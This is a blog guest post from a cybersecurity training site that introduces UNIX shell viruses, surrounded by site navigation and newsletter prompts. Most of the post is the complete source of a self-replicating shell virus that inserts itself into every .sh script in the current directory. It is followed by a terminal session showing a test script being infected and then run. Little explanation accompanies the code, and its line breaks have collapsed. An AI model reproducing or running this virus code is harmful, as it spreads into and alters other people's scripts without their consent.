OSINT – Open Source Intelligence Training Course Free
This course goes from scratch to advanced; it covers the most critical aspect of OSINT (open-source intelligence). The OSINT plays a vital role in the
Home / Blog / Guest Post / A Brief Introduction to UNIX SHELL Virus
#!/bin/sh#file name: virus_demo.sh#purpose: shell virus demonstration#note: the virus will affect all the files that end with .sh in the currentdirectory, but it will not affect them repeatedly.#compiler: watercloud@xfocus.org#date: 2003-5-13#B:<+!a%C&t:>vFile=$_ ; vTmp=/tmp/.vTmp.$$for f in ./*.sh; doif [ ! -w $f -a ! -r $vFile ]; then continue; fiif grep ‘<+!a%C&t:>’ $f ; then continue; fiif sed -n ‘1p’ $f | grep ‘csh’; then continue; ficp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fivNo=`awk ‘$0~/(^b*#)|(^b*$)/&&v==NR-1{v++}END{print 0+v}’ $vTmp`sed -n “1,${vNo}p” $vTmp >$f(sed -n ‘/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p’ $vFile ;echo ) >>$fvNo=`expr $vNo + 1`sed -n “${vNo},$p” $vTmp >>$frm -f $vTmpdone >/dev/null 2>&1unset vTmp ;unset vFile ;unset vNoecho “Hi, here is a demo shell virus in your script !”#E:<+!a%C&t:>#EOF
[cloud@ /export/home/cloud/vir]> ls -ldrwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../-rwxr–r– 1 cloud staff 89 6?? 4 17:43 test.sh-rwxr–r– 1 cloud staff 773 6?? 4 17:42 virus_demo.shLet’s have a look at the victim script. It is very simple:[cloud@ /export/home/cloud/vir]> cat test.sh#!/bin/sh# Just a demo for virus test# Author : foo# Date : 3000-1-1ls -l#EOFBegin to affect.[cloud@ /export/home/cloud/vir]> ./virus_demo.shHi, here is a demo shell virus in your script !The result after affect:[cloud@ /export/home/cloud/vir]> cat test.sh#!/bin/sh# Just a demo for virus test# Author : foo# Date : 3000-1-1#B:<+!a%C&t:>vFile=$_ ; vTmp=/tmp/.vTmp.$$for f in ./*.sh; doif [ ! -w $f -a ! -r $vFile ]; then continue; fiif grep ‘<+!a%C&t:>’ $f ; then continue; fiif sed -n ‘1p’ $f | grep ‘csh’; then continue; ficp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fivNo=`awk ‘$0~/(^b*#)|(^b*$)/&&v==NR-1{v++}END{print 0+v}’ $vTmp`sed -n “1,${vNo}p” $vTmp >$f(sed -n ‘/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p’ $vFile ;echo ) >>$fvNo=`expr $vNo + 1`sed -n “${vNo},$p” $vTmp >>$frm -f $vTmpdone >/dev/null 2>&1unset vTmp ;unset vFile ;unset vNoecho “Hi, here is a demo shell virus in your script !”#E:<+!a%C&t:>ls -l#EOFThe virus body:#B:<+!a%C&t:>. . . .#E:<+!a%C&t:>
Execute the new virus body:[cloud@ /export/home/cloud/vir]> ./test.shHi, here is a demo shell virus in your script !Printing information in the virus body.-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh
Industrial Cybersecurity
September 28, 2023
Want always be up to date?
By subscribing to our mailing list, you will be enrolled to receive our new trainings, latest blog posts, product news, and more.
Transform your cybersecurity skills with CIP Cyber’s comprehensive training & course offerings
This course goes from scratch to advanced; it covers the most critical aspect of OSINT (open-source intelligence). The OSINT plays a vital role in the
In the past, most games had cheat codes, yet these days it’s more uncommon. As a programmer, I like to perceive how things work, so
Undoubtedly, Metasploit is one of the most organized, well-developed tools in the pen-testers toolbox. But, do hackers use it? Some of them, but not the
Want always be up to date?
By subscribing to our mailing list, you will be enrolled to receive our new trainings, latest blog posts, product news, and more.
Transform your cybersecurity skills with CIP Cyber’s comprehensive training & course offerings